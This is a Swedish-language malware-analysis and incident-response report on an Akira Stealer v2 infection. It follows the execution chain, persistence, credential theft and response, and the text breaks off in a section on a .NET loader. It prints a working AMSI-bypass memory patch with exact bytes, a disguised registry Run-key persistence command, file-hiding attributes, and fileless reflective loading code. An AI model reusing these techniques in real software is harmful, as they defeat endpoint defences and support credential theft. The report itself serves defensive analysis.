Inuti Akira Stealer: En fullständig teknisk analys av en modulär stealer

Det började med en enda Defender-varning i Microsoft 365. Ingen skadlig kod, inga signaturer, ingen panik. Bara en viskning i bruset. Det vi grävde fram var månader av stulna inloggningsuppgifter, kirurgiskt, tyst och nästan osynligt. Så här förvandlade vårt CSOC en tyst signal till en fullskalig insats. Och gav vår kund tillbaka kontrollen innan de ens visste att den var borta.

Inuti Akira Stealer: En fullständig teknisk analys av en modulär stealer

Prolog

Det började som så många moderna attacker gör: tyst. En Defender-varning med låg konfidens, "Suspicious sequence of exploration activities", dök upp under onboardingfasen av en ny kund i vårt glueckkanja Cyber Security Operations Center (CSOC).

Det fanns inga signaturträffar. Inga klassificeringar av skadlig kod. Ingen respons från realtidsskyddet. Bara en enda beteendekorrelation i Microsoft 365 Defender, begravd i bruset, och ändå omisskännligt fel.

Under triagen av varningen fångade en specifik åtgärd min uppmärksamhet: python.exe hade kommit åt både filen Login Data och Web Data i en Chromium-profil. Microsoft Defender eskalerade omedelbart detta till en incident med hög allvarlighetsgrad, "Possible theft of passwords and other sensitive web browser information."

Det här var ingen falsk positiv. Det var toppen av något djupare.

När jag spårade telemetrin bakåt hittade jag en generisk binär i startmappen, Updater.exe, som startade en NodeJS-baserad wrapper (main.exe) som körde en kommandorad för att starta ett skript vid namn astor.py via python.exe.

Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py

Skriptet skrapade inte bara inloggningsuppgifter, det utförde en sekvens av spaningssteg efter kompromettering, inklusive registerförfrågningar, systemfingeravtryck och behörighetsmedveten uppräkning. Det arbetade med kirurgisk precision och efterliknade systemets eget beteende för att undgå upptäckt. Och det fungerade, nästan.

Vid tidpunkten för den första insatsen:

  • Updater.exe flaggades av bara 1 av 69 motorer på VirusTotal.
  • main.exe, astor.py och alla tillhörande komponenter flaggades i princip inte alls på VirusTotal.
  • Inga filer var signerade. Ingen förhöjd kontext. Bara "vanliga" processer som gjorde mycket ovanliga saker.

Updater.exe rörde inte inloggningsuppgifterna. Den uppgiften var reserverad för astor.py, den minnesbaserade Python-payloaden, en fil som per design nästan inte lämnade några spår.

Inom 21 minuter isolerades det påverkade systemet från nätverket. Inom 70 minuter roterades inloggningsuppgifterna över alla påverkade omfattningar: interna identiteter, SaaS-plattformar, tredjepartstjänster.

Men den verkliga vändpunkten kom när vi extraherade och fullständigt dekrypterade Python-payloaden. Det vi hittade var inte en generisk stealer, det var en anpassad distribution av Akira Stealer v2, en kommersiellt distribuerad familj av skadlig kod som säljs via Telegram.

Tack vare vår interna threat intelligence och våra reverse engineering-förmågor kunde vi rekonstruera skadekodens fullständiga funktionalitet, extrahera alla inbäddade indikatorer och i detalj förstå dess logik för staging, exfiltrering och val av inloggningsuppgifter.

Ännu viktigare, vi stannade inte vid teknisk attribuering. Vi gick längre.

Vi kunde förse kunden med ett komplett dataset över exfiltrerade inloggningsuppgifter: över 100 unika kombinationer av användarnamn och lösenord, inklusive åtkomstuppgifter till molntjänster, CRM-system, interna plattformar och till och med personliga verktyg som nyckelmedarbetare använde. Stölden hade pågått i månader, och vi kunde redogöra för allt.

Med hjälp av insikterna från det här fallet byggde vi ett analysverktyg för efterinfektion som skannar påverkade system, rekonstruerar mönster för åtkomst till inloggningsuppgifter och genererar detaljerade forensiska rapporter, som visar exakt vad som stals, när och varifrån.

Vi bjuder på en glimt av den skannern i slutet av den här rapporten.

För det här är mer än bara en incident. Så här utreder vi. Så här skyddar vi.

Välkommen till glueckkanja CSOC.
Så här arbetar vi, för intrång väntar inte.

1. Ursprunglig händelse och triage-sammanfattning

Den 31 mars 2025 genererade Microsoft Defender for Endpoint en varning med etiketten "Suspicious sequence of exploration activities" på en Windows 10 64-bitars endpoint. Jag inledde triagen utifrån denna signal och granskade det påverkade systemet med hjälp av processträdet, systemets tidslinje och de bevis som Defender korrelerat.

1.1 Tidslinjebaserad triage

Varningen pekade på en sekvens av processer som motiverade närmare inspektion. Under den inledande granskningen observerade jag följande åtkomstmönster till Chrome-webbläsardata i den lokala användarprofilen:

  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data

Dessa åtkomster initierades av en process vid namn Updater.exe. Även om Microsoft Defender inte hade flaggat binären utifrån heuristisk eller beteendemässig analys, hittade jag en detektion för Updater.exe på VirusTotal, flaggad av en enda motor vid den tidpunkten.

Microsoft Defender

Den fullständiga observerade exekveringskedjan såg ut så här:

winlogon.exe
└── userinit.exe
    └── explorer.exe
        └── Updater.exe
            └── main.exe
                └── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
                    └── python.exe Crypto\Util\astor.py

I det här skedet hade ingen djupare statisk eller dynamisk analys av de inblandade filerna utförts. Mitt fokus låg på att förstå beteendet och kontexten på en övergripande nivå. Processnamnen och filsökvägarna var generiska, och inga misstänkta kommandoradsargument fanns utöver den kedjade Python-exekveringen.

1.2 Första insatsen

Inom 21 minuter efter den första varningen initierade jag hostisolering med hjälp av isoleringsfunktionerna i Defender for Endpoint. Målet var att förhindra möjlig ytterligare spridning eller exfiltrering.

Inom de första 70 minuterna gick vi vidare med att rotera inloggningsuppgifter som var kända för att användas på den påverkade hosten, vilket täckte interna system, SaaS-plattformar och kritiska tredjepartsleverantörer.

Reverse engineering-processen inleddes efter den första inneslutningen. Följande avsnitt dokumenterar den tekniska fördjupningen som följde för att utreda intrånget.

1.3 Sammanfattning av insatsen: snabb, transparent, effektdriven

Vår insats kombinerade snabbhet, expertis och operativ excellens, med stöd av beprövade arbetsflöden och full insyn för kunden.

  • Från detektion till full inneslutning på under 90 minuter Defender-varningar, nätverksisolering, antivirusskanning och återkallande av inloggningsuppgifter utfördes snabbt och samordnat.
  • Fördjupad forensisk insats inom 48 timmar Inklusive fullständig disk- och minnesanalys, granskning av webbläsarartefakter, detektering av credential dumping och beteendemässig rekonstruktion av angriparens aktivitet.
  • Säker dataåterställning och bevishantering Den stulna datan, inklusive cookies, lösenord, tokens och webbläsarprofiler, återställdes, arkiverades forensiskt och överlämnades säkert till kunden.
  • Insyn och kommunikation från början till slut Varje steg, från första varning till åtgärd och genomgång, dokumenterades fullständigt, delades i realtid och sammanfattades i en strukturerad CSIRT-överlämning.

Den här incidenten visar hur glueckkanja CSOC inte bara stoppar skadlig kod, vi monterar ner dess effekter, återställer kontrollen till våra kunder och förvandlar varje incident till insikt.

2. Skadlig kods arkitektur och exekveringskedja

Den skadliga kod som observerades på den påverkade endpointen följde en strukturerad arkitektur i flera steg med tydlig ansvarsfördelning: distribution, avkodning, exekvering och dataexfiltrering.

2.1 Översikt över exekveringskedjan

Det observerade exekveringsflödet såg ut så här:

Updater.exe

​   └── main.exe
​       └── cmd.exe
​           └── python.exe astor.py

Varje komponent i kedjan bidrog till smygförmåga, modularitet och undanflykt. Arkitekturen utnyttjade legitima runtimes och standardtolkar i operativsystemet för att kringgå detekteringsmekanismer.

2.1.1 Osäkert ursprung: saknad initial vektor

Trots omfattande analys av miljön efter kompromettering kunde den initiala åtkomstvektorn inte fastställas med säkerhet. Denna osäkerhet beror främst på att den skadliga koden hade varit aktiv i uppskattningsvis sex månader innan den upptäcktes, vilket överskrider den loggretentionsperiod som Microsoft Defender for Endpoint tillämpar.

Som en följd av detta fanns ingen telemetri eller några forensiska artefakter tillgängliga från den ursprungliga infektionstidpunkten. Inga ursprungliga processkapningshändelser, fildroppar eller kommandoradsposter kopplade till leveransstadiet gick att återskapa från Defenders tidslinje eller tillhörande sensorer.

Baserat på kontextuella indikatorer och OSINT-källor kan en trolig infektionsvektor ha involverat:

  • Trojaniserade installationsprogram för crackad eller moddad spelprogramvara
  • Falska verktyg eller "prestandaboostare" som distribueras via forum och tredjepartssajter
  • Skadliga webbläsartillägg riktade mot specifika användarintressen (t.ex. kryptorelaterade verktyg eller Discord-förbättringar)

Detta förblir dock spekulativt.

Ingen bekräftad dropper, nätfiskemejl eller komprometterad webbplats kunde identifieras under utredningen. Även om den skadliga kodens arkitektur och exekveringskedja rekonstruerades fullständigt kunde den ursprungliga komprometteringspunkten (MITRE ATT&CK T1190 / T1566) inte valideras.

2.1.2 Updater.exe – Initial loader

När jag granskade processträdet i Microsoft 365 Defender stack Updater.exe omedelbart ut, inte på grund av vad den gjorde, utan hur tyst den bäddade in sig i systemets exekveringsflöde.

Denna binär registrerades för automatisk körning via standardnyckeln Run i Windows:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Det innebar att den skulle startas varje gång användaren loggade in i sin session, en klassisk persistensmekanism som inte kräver några förhöjda behörigheter och ofta slinker igenom obemärkt i EDR-telemetri.

  • Filtyp: Windows PE-körbar fil (32-bitars)
  • Signatur: Osignerad
  • VirusTotal-detektion: 1 av 69 motorer vid tidpunkten för triagen
  • Exekveringskontext: Medelhög integritet, användarsession
  • Plats: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

Själva filen var liten, rent kompilerad och oanmärkningsvärd ur ett statiskt analysperspektiv. Inga misstänkta strängar, inga krypterade sektioner och inga indikatorer på obfuskering eller packning. Den importerade endast en minimal uppsättning standard-API-funktioner i Windows och innehöll ingen inbäddad payload.

Dess beteende var dock mer talande. När den väl startats extraherade Updater.exe en Electron-applikation ur ett medföljande arkiv, en fristående NodeJS-runtime paketerad med standardverktyg för Electron. Den uppackade mappen innehöll en körbar fil vid namn main.exe, som därefter startades som en underprocess.

Updater.exe → main.exe

Det fanns inga nätverksindikatorer i det här skedet, ingen processinjektion och ingen avvikelse i behörigheter eller tokenförhöjning. Hela rollen för Updater.exe verkade vara den av en loader, som levererade en andrastegskomponent (main.exe) in i miljön, sannolikt med målet att bevara smygförmåga och modularitet.

Den här typen av arkitektonisk uppdelning är vanlig i modern skadlig kod och stealer-verktygssatser av hyllvara. Den initiala loadern fungerar bara som en distributionsstubbe och låter den tyngre logiken, ofta obfuskerad, tolkad eller dynamiskt genererad, ligga i senare steg.

I det här fallet fyllde Updater.exe exakt det syftet: ett tyst initialt fotfäste utformat för att smälta in, förbli oupptäckt och bana väg för exekveringen av den faktiska stealer-logiken i main.exe och slutligen astor.py.

Den rörde inte filsystemet utöver sin egen katalog och utlöste inga beteenderegler, och ändå var den den första brickan att falla i en lång och omsorgsfullt konstruerad attackkedja.

2.1.3 main.exe – Obfuskerad NodeJS-payloadbehållare

Efter exekveringen av Updater.exe startades en andrastegsbinär vid namn main.exe. Denna komponent presenterade sig som en vanlig Electron-applikation, en runtime-miljö som paketerar Node.js och Chromium och ofta används för plattformsoberoende skrivbordsappar. Dess oskyldiga natur är en del av det som gör den så farlig i fel händer.

Vid inspektion innehöll main.exe ett internt arkiv vid namn app.asar, standardformatet för paketering av Electron-baserade applikationer. Till skillnad från legitima Electron-appar var innehållet i det här arkivet dock allt annat än vanligt.

  • Plattform: Electron (Node.js + Chromium)
  • Arkitektur: 64-bitars Windows
  • Innehållsstruktur: Inbäddade JavaScript-filer i app.asar
  • Obfuskeringsnivå: Hög, uppnådd med js-confuser, en kommersiellt tillgänglig obfuskeringsverktygssats för JavaScript

När den väl dekompilerats och deobfuskerats blev kärnlogiken i main.exe tydlig. Dess syfte var inte att visa ett GUI eller köra någon frontendlogik, i stället fungerade den som en dold exekveringsorkestrerare.

Observerat beteende:

  • Dekrypterar och rekonstruerar ett Base64-kodat PowerShell-kommando som lagras i JavaScript-payloaden
  • Startar cmd.exe för att köra PowerShell-kommandot inline
  • PowerShell-kommandot anropar i sin tur python.exe och skickar in ett skript som ligger under en till synes ofarlig katalogstruktur (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py

Denna kedjning gjorde det möjligt för angriparen att växla exekveringskontext och undgå enkel detektering. Eftersom payloaden var obfuskerad och stagad i minnet var traditionella signaturbaserade kontroller verkningslösa.

Electron-ramverket erbjöd en idealisk täckmantel, det tillät exekvering av godtycklig JavaScript samtidigt som det undvek granskning. JavaScript-baserad exekvering införde också plattformsoberoende kompatibilitet, vilket möjliggjorde flexibel distribution och enklare integration av dynamisk styrlogik.

Det som gjorde main.exe särskilt farlig var dess förmåga att arbeta utan att droppa några ytterligare filer utöver det som redan hade stagats. Stealer-skriptet anropades direkt från disk, men all staging- och exekveringslogik förblev inbäddad i Electron-buntet.

Sammanfattningsvis fungerade main.exe som den obfuskerade, flerskiktade exekveringskärnan, som grindvakt mellan initial persistens och den fullständiga aktiveringen av Akira Stealer-payloaden i astor.py.

2.1.4 cmd.exe och PowerShell-relä

Detta steg i exekveringskedjan fungerade som ett relä, inte för payloadlogik, utan för obfuskering och indirektion.

Efter att main.exe slutfört sin roll att packa upp och avkoda payloaden startade den en cmd.exe-process. Denna process innehöll ingen skadlig logik i sig, och den skrev inte till eller ändrade filer. Dess enda syfte var att fungera som en wrapper för att starta en PowerShell-session med ett kodat kommando.

Denna metod är en välkänd taktik som används för att minska synligheten och undvika detektering:

  • Exekveringskedja:
    main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>"
    
  • Syfte:
    • Kapslar in PowerShell-exekvering i ett ytterligare skal
    • Döljer den faktiska PowerShell-koden från direkt synlighet i loggar
    • Undgår EDR:er som utlöses av direkt användning av powershell.exe med misstänkta parametrar

Genom att bädda in PowerShell-skriptet som en Base64-kodad sträng och anropa det via cmd.exe undvek angriparen flera former av detektering:

  • Heuristiska filter för kommandorader
  • Standardloggning (t.ex. Event ID 4104, 4688)
  • Regelbaserade detektioner för powershell.exe-argument som -NoProfile, -ExecutionPolicy Bypass eller inline-skript

Noterbart är att PowerShell-kommandot hölls minimalt och enbart inriktat på att starta python.exe med en sökväg till det inbäddade stealer-skriptet, astor.py. Inga ytterligare moduler laddades, och inga uppenbara signaturer fanns i minnet.

Denna reläteknik används ofta både inom red teaming och av sofistikerade infostealers, som ett lättviktigt undanflyktsskikt som är enkelt att implementera men svårt att fånga utan telemetrikorrelation.

I det här fallet fyllde cmd.exe exakt det syftet: en enkel, tyst brygga mellan JavaScript-logik och Python-exekvering, en som nästan slank igenom obemärkt.

2.1.5 python.exe med astor.py

Det sista och mest verkningsfulla steget i exekveringskedjan nåddes när python.exe anropade astor.py, en Python-baserad, modulär infostealer som helt och hållet arbetar i minnet. Detta skript utgjorde den operativa kärnan i hela attackkedjan.

Till skillnad från många stealers av hyllvara distribuerades inte astor.py i klartext. Det skyddades av en flerskiktad dekrypteringsmekanism:

  • Dekrypteringsstack: Filen komprimerades först med GZIP och krypterades sedan med AES-256-CBC.
  • Nyckelderivering: En PBKDF2-baserad nyckelderiveringsprocess användes (SHA-512, 1 000 000 iterationer), vilket gör statisk analys och brute-forcing högst opraktiskt.

När skriptet väl dekrypterats vid körning körde det flera specialiserade moduler, alla inriktade på känsliga datakällor:

Kärnförmågor

  • Extrahering av webbläsardata: Hämtade inloggningsuppgifter, cookies och autofyll-data från Chromium-baserade webbläsare (Chrome, Edge, Brave, Opera)
  • Insamling av tokens: Samlade in sessionstokens, särskilt från Discord, och sökte efter tillägg för kryptovalutaplånböcker
  • Datapaketering: Aggregerade all insamlad data i ett strukturerat ZIP-arkiv och bevarade katalog- och filkontext för angriparens tolkning
  • Exfiltrering: Laddade upp det resulterande arkivet till publika API:er och infrastruktur.

Exekveringskontext

Hela stealer-logiken kördes från minnet, utan några persistenta filer skrivna till disk. Den lämnade minimala telemetrispår utöver artefakter i processminnet och standardanrop av underprocesser. Inget försök gjordes att etablera persistens i det här skedet, målet var snabb, effektiv och tyst datastöld.

Användningen av legitima API:er för exfiltrering gjorde också detektering och förebyggande betydligt svårare, eftersom den utgående trafiken smälte in i rutinmässig internetaktivitet.

Detta steg bekräftade slutligen den skadliga kodens identitet: en variant av Akira Stealer v2, känd för sin:

  • Höga modularitet
  • Obfuskering vid körning
  • Kommersiella distribution via Telegram
  • Starka fokus på insamling av inloggningsuppgifter och tokenbaserad sessionskapning

Tillsammans med de tidigare stegen bildade astor.py den kritiska slutpunkten i en smygande och välkonstruerad infostealer-kedja. I de följande avsnitten dissekerar vi denna komponent ytterligare och förklarar hur vi bakåtutvecklade dess logik, kartlade dess infrastruktur och återställde varje komprometteringsindikator som användes under dess drift.

3. Deep Dive: Updater.exe

Updater.exe var den första binären som observerades under analysen efter intrånget. Trots sitt neutrala utseende och försumbara detektionsavtryck spelade den en avgörande roll för att upprätthålla malwarens operativa persistens och leverera nästa stegs payload.

3.1 Egenskaper

PropertyValue
Format:Windows Portable Executable (PE32)
Architecture:x86-64
Size:~154 KB
Entropy:Normal (non-packed)
Signatures:None
VirusTotal Detection:1/69 at time of analysis

Filen uppvisade en ren importtabell och inga inbäddade strängindikatorer. Inga kända packers, crypters eller mekanismer för runtime-obfuskering upptäcktes. Strukturen stämde överens med anpassat kompilerade binärer.

3.2 Beteendeanalys

Ingen användarinteraktion krävs

Malwarekedjan kördes utan någon nödvändig användarinteraktion. Baserat på Defenders processtelemetri startades den första binären (Updater.exe) automatiskt, troligen via en persistensmekanism som en autorun-nyckel i registret. På grund av intrångets ålder och avsaknaden av historiska händelseloggar gick den exakta persistensmetoden dock inte att återskapa.

Tyst exekvering och staging

Vid exekvering startade Updater.exe omedelbart main.exe utan något synligt fönster och utan användardialoger. Staging skedde tyst i bakgrunden. Det fanns inga tecken på samtyckesdialoger, UAC-prompter eller GUI-komponenter.

Beteende vid payload-utrullning

main.exe visade sig vara en del av en Electron-applikationsstruktur, men det exakta ursprunget för dess utrullning är fortfarande oklart. Ett av följande antas:

  • Payloaden kan ha buntats internt i Updater.exe (t.ex. som en inbäddad resurs), eller
  • den kan ha hämtats från en fjärrkälla

På grund av avsaknad av nätverkstelemetri och ingen återfunnen hårdkodad URL förblir leveransvektorn för Electron-appen oklar.

Beteende i processkedjan

När Updater.exe väl körts skapade den main.exe som en barnprocess. Anropet var icke-interaktivt, och ingen process som skapades från kedjan uppvisade UI-aktivitet. Processkedjan fortsatte som väntat:

Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py

Alla exekveringssteg fungerade utan att kräva användarinmatning, och förlitade sig enbart på förkonfigurerad startlogik och tysta exekveringsvägar. Detta minimerade exponeringen och hjälpte malwaren att förbli oupptäckt under en längre period.

3.3 Roll i infektionskedjan

Updater.exe spelade en enda men väsentlig roll inom den bredare infektionskedjan: den ansvarade för persistensen och återutrullningen av stage-2-komponenten main.exe.

Bekräftade egenskaper

  • Den innehöll eller körde inte skadlig logik direkt
  • Den utförde ingen dataexfiltrering
  • Den interagerade inte med webbläsarens credential stores eller känslig användardata

Dess enda syfte var att tyst starta main.exe vid användarinloggning, med en autorun-post i registret som den mest sannolika persistensmetoden (även om den inte återfanns direkt på grund av telemetribegränsningar).

Genom att fungera som en isolerad first-stage loader såg Updater.exe till att själva stealer-payloaden (astor.py) förblev dold i djupare exekveringslager. Denna uppdelning av uppgifter lät angriparna:

  • Undvika korrelation via statiskt AV eller sandbox-system
  • Byta ut eller uppdatera payloads utan att modifiera loadern
  • Minska beteendesignaler vid ingångspunkten

Detta mönster är typiskt i malware-as-a-service (MaaS)-operationer, där leveransmekanismerna är generiska och payloads är modulära eller klientspecifika.

I det här fallet gav Updater.exe precis tillräckligt med logik för att fungera som en pålitlig och smygande ingångspunkt: inget mer, men inte heller något mindre.

3.4 Persistens via registret (bekräftad i astor.py)

Statisk analys av Python-payloaden visade att Updater.exe uttryckligen görs persistent med en autorun-post i registret:

  • Registry Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Value Name: Realtek Audio
  • Payload Path: %APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Motsvarande registerkommando körs via PowerShell:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f

Detta säkerställer att malwaren startas vid varje användarinloggning. Filen märks också med attributen hidden och system för att ytterligare undvika detektion:

attrib +h +s "Updater.exe"

Denna persistensmekanism var inbäddad direkt i astor.py-koden, vilket bekräftar att stealern i slutsteget aktivt håller loadern närvarande på disk och i startregistret.

3.5 Sammanfattning

Även om Updater.exe inte var skadlig i sig till struktur eller innehåll, bekräftade dess kontextuella beteende i exekveringskedjan dess roll som malware loader.

Denna binär fungerade som en ren, minimalistisk first-stage launcher som undvek detektion av statisk analys, AV-motorer och beteenderegler. Dess design fokuserade enbart på smygande och operativt stöd, inte på att köra skadlig logik själv.

Dess roll sträckte sig dock bortom den initiala utrullningen. Under reverse engineering av astor.py-payloaden identifierade vi logik som aktivt kontrollerade om Updater.exe fanns närvarande. Denna kontroll var en del av en bredare health- och self-healing-cykel som implementerades i stealer-koden, en mekanism utformad för att verifiera integriteten i infektionskedjan och återställa saknade komponenter vid behov.

Det innebär att Updater.exe inte bara ansvarade för att initiera malwaren, utan också utgjorde en del av dess löpande runtime-validering. Utan denna stub kunde malwaren förlora sin förmåga att återinitieras i framtida sessioner.

Centrala funktioner hos Updater.exe:

  • Smidig utrullning av main.exe
  • Indirekt exekvering av astor.py
  • Frikoppling av loader- och payload-logik
  • Refererad av payloaden själv som en del av den operativa health-övervakningen

I avsnitt 5 går vi in på detaljerna kring stealerns interna health-check-rutiner, inklusive dess self-healing-beteende och mekanismer för integritetsvalidering.

För tillfället står det klart att Updater.exe fungerade som både tändning och ankarpunkt i denna lagerbaserade infostealer-arkitektur.

3.6 Extraktionstrick: att överlista loadern

Ibland kommer de bästa resultaten inom reverse engineering inte från djupgående binär-disassemblering, utan från lite list och tålamod.

När vi analyserade infektionen i en kontrollerad labbmiljö lade vi märke till något underligt: Updater.exe fanns närvarande och kördes, men main.exe hade försvunnit från filsystemet. Då fick vi en idé: vad händer om vi låter malwaren reparera sig själv?

Vi raderade main.exe medvetet från den infekterade miljön och lämnade Updater.exe orörd. Och mycket riktigt, efter nästa inloggning i användarsessionen gick loadern till verket, inte med ett utbrott, utan med ett tyst försök att återuppbygga sitt andra steg.

Här blev det intressant: i stället för att direkt återskapa main.exe släppte Updater.exe först en fil vid namn app-64.7z, ett vanligt 7-Zip-arkiv. Detta arkiv innehöll hela Electron-applikationsstrukturen, inklusive main.exe, resources och app.asar-payloaden med all inbäddad logik.

Vi hade i praktiken tvingat malwaren att lämna över källpaketet till oss.

Suspicious Updater Executable Detected

Med detta 7z-arkiv i handen kunde vi extrahera, dekomprimera och fullständigt reversa den JavaScript-baserade orkestreringslogiken utan att ens röra den ursprungliga loadern igen. Arkivstrukturen matchade den förväntade Electron-app-layouten perfekt.

Detta beteende tyder starkt på att angriparna medvetet valde en modulär och underhållbar arkitektur, där de använde arkiv som flexibla payload-containrar. Det lät dem också byta ut eller uppdatera payload-komponenter utan att kompilera om loader-binären.

Och i vårt fall? Det lät oss överlista deras kedja, avlyssna droppen och gå därifrån med hela paketet, som att stjäla ritningarna från arbetsbänken medan byggaren tittade bort.

Låt oss uttrycka det så här: ibland är de bästa forensiska verktygen del, wait och lite nyfikenhet.

4. Deep Dive: pow.bat

I den analyserade malwarekampanjen fungerar komponenten Invoke-SharpLoader som en anpassad, minnesresident .NET-loader som uppvisar ett mycket modulärt och undvikande exekveringsflöde. Det här avsnittet dissekerar dess interna arkitektur, dess anti-analysstrategi via AMSI-patchning och dess roll i att möjliggöra andra stegets payload.

4.1 Binära egenskaper – SharpLoader Batch Wrapper

Innan den körs för att ladda .NET-payloaden i minnet uppvisar den yttre wrappern pow.bat följande egenskaper enligt statisk analys:

PropertyValue
Format:DOS Batch File
Architecture:Script-based (not compiled binary)
File Size:27.79 KB (28454 bytes)
Entropy:Normal (plain ASCII text)
Magic:DOS batch file, ASCII text
Digital Signature:None detected
VirusTotal Detection:26 / 61 (at time of analysis)
Threat Labels:trojan, downloader, powershell, agentb

Trots att det är en enkel .bat-fil undviker skriptet många statiska detektioner och förlitar sig i hög grad på living-off-the-land-tekniker som PowerShell för att ladda ner och köra obfuskerade och krypterade payloads.

4.2 AMSI Bypass-teknik (klass: gofor4msi)

En av de första försvarsmekanismerna som SharpLoader kringgår är AMSI, Anti-Malware Scan Interface, en Microsoft-funktion som är integrerad i skriptmotorer som PowerShell och Windows Script Host för att tillhandahålla realtidsskanning av innehåll efter misstänkt beteende. Malwareutvecklare försöker ofta kringgå AMSI för att undvika detektion av endpoint-skyddssystem.

I SharpLoader implementeras AMSI-bypassen genom direkt in-memory-patchning av funktionen AmsiScanBuffer i amsi.dll. Denna funktion ansvarar normalt för att analysera skriptinnehåll och returnera en resultatkod som anger om innehållet är misstänkt (AMSI_RESULT_DETECTED) eller säkert (AMSI_RESULT_CLEAN).

Den relevanta koden för in-memory-patchning är:

var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);

Denna sekvens utför följande steg:

  1. Ladda AMSI-DLL:n in i processen med LoadLibrary("amsi.dll").
  2. Lös upp minnesadressen för funktionen AmsiScanBuffer via GetProcAddress().
  3. Ändra minnesskyddet för adressen med VirtualProtect() för att göra den skrivbar.
  4. Skriv över början av funktionen med Marshal.Copy() med en liten shellcode-patch.

Patchen som appliceras för 64-bitarssystem är:

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret

Detta motsvarar följande instruktioner:

  • mov eax, 0x80070057 → sätter returkoden till Windows-felkoden E_INVALIDARG
  • ret → returnerar omedelbart från funktionen

Detta gör i praktiken att AmsiScanBuffer misslyckas tyst och returnerar ett icke-detektionsresultat, vilket neutraliserar AMSI-kontrollerna. Malwaren kan nu köra skript eller .NET-kod som annars skulle utlösa antiviruslarm.

Om koden körs på ett 32-bitarssystem appliceras en annan patch:

static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18

Detta återspeglar samma mål, att framtvinga ett rent resultat, men anpassat till x86-anropskonventionen.

Att använda råa P/Invoke-anrop som LoadLibrary, GetProcAddress och VirtualProtect gör att denna patchning kan utföras dynamiskt och utan att anropa några API:er på hög nivå som kan övervakas av EDR-verktyg. Denna metod är kompakt, effektiv och lämnar minimala forensiska artefakter.

Sammanfattningsvis är denna AMSI-bypass-teknik en lågnivåattack riktad direkt mot antivirus-gränssnittet i minnet, utförd på millisekunder under runtime. Det är ett kraftfullt exempel på varför beteendeövervakning och minnesinspektion är avgörande i moderna endpoint-försvarssystem.

4.3 Hantering av stage 2-payload

Efter att AMSI-bypassen är klar går loadern vidare med att hämta och förbereda andra stegets payload. Denna payload är inte inbäddad i själva loadern utan hämtas antingen från en fjärrserver eller läses från disk, beroende på hur loadern anropas via parametern $location.

Om platsen börjar med http tolkas den som en URL och loadern använder Get_Stage2() för att ladda ner payloaden via HttpWebRequest. Om det är en lokal sökväg läser Get_Stage2disk() innehållet direkt från filsystemet. I båda fallen är det förväntade filinnehållet en blob som är Base64-kodad, GZip-komprimerad och AES-krypterad.

Loadern utför sedan en fyrstegs-pipeline för avkodning och dekryptering helt i minnet:

  1. Base64-avkodning: Konverterar den kodade strängen till råa bytes. Detta steg är utformat för att dölja det faktiska binära innehållet från verktyg för statisk inspektion och förhindrar enkel mönstermatchning.
  2. GZip-dekomprimering: De avkodade byten skickas till en GZipStream, som dekomprimerar payloaden. Komprimering minskar filstorleken och lägger till ytterligare ett lager av obfuskering.
  3. AES-dekryptering: De komprimerade byten dekrypteras med AES (Rijndael) i CBC-läge. Nyckeln härleds vid runtime från det användarangivna lösenordet via SHA-256-hashning kombinerat med PBKDF2 (Rfc2898DeriveBytes) och ett statiskt salt.
  4. Salt-borttagning: Det dekrypterade resultatet innehåller fortfarande ett salt-prefix med fast längd (4 bytes). Dessa bytes tas bort manuellt för att få den rena binära blobben som representerar en giltig .NET-assembly.

Dekrypteringspipelinen körs så här:

byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);

Här är AES_Decrypt() en anpassad funktion som omsluter Rijndael-algoritmen, konfigurerad med en 256-bitars nyckel och en 128-bitars IV (initialiseringsvektor), båda härledda från lösenordet.

Centrala designobservationer:

  • Användningen av AES-CBC med PBKDF2 gör brute-forcing av lösenordet icke-trivialt.
  • Eftersom dekrypteringen sker i minnet skrivs inga mellanresultat någonsin till disk, vilket minskar forensiska artefakter.
  • Om fel lösenord anges misslyckas dekrypteringen tyst eller producerar ogiltig data, vilket kan leda till misslyckad exekvering eller svårspårade undantag.

Sammanfattningsvis höjer denna flerstegsansats för payload-hantering ribban avsevärt för både signatur- och heuristikbaserad statisk detektion. Utan antingen live-exekvering eller djupgående inspektion av loaderns beteende är det osannolikt att försvarare avslöjar den inbäddade payloaden utan att också känna till lösenordet och den exakta avkodningslogiken.

4.4 Dynamisk assembly-laddning

När andra stegets payload väl har dekrypterats framgångsrikt representerar den resulterande byte-arrayen en giltig .NET-assembly. I stället för att skriva denna assembly till disk, en vanlig indikator för antivirus- eller EDR-system, kör SharpLoader den direkt i minnet med reflection:

Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });

Denna teknik kallas fileless execution. Den är mycket undvikande eftersom den:

  • Undviker att röra disken och lämnar inga filbaserade IOC:er (indicators of compromise)
  • Gör traditionell forensisk insamling svårare, eftersom ingen binär sparas på disk
  • Undviker statisk signaturbaserad detektion, eftersom AV-motorer ofta förlitar sig på att skanna filer

Om EntryPoint inte är static inkluderar loadern en fallback-logik:

MethodInfo method = a.EntryPoint;
if (method != null)
{
    object o = a.CreateInstance(method.Name);
    method.Invoke(o, null);
}

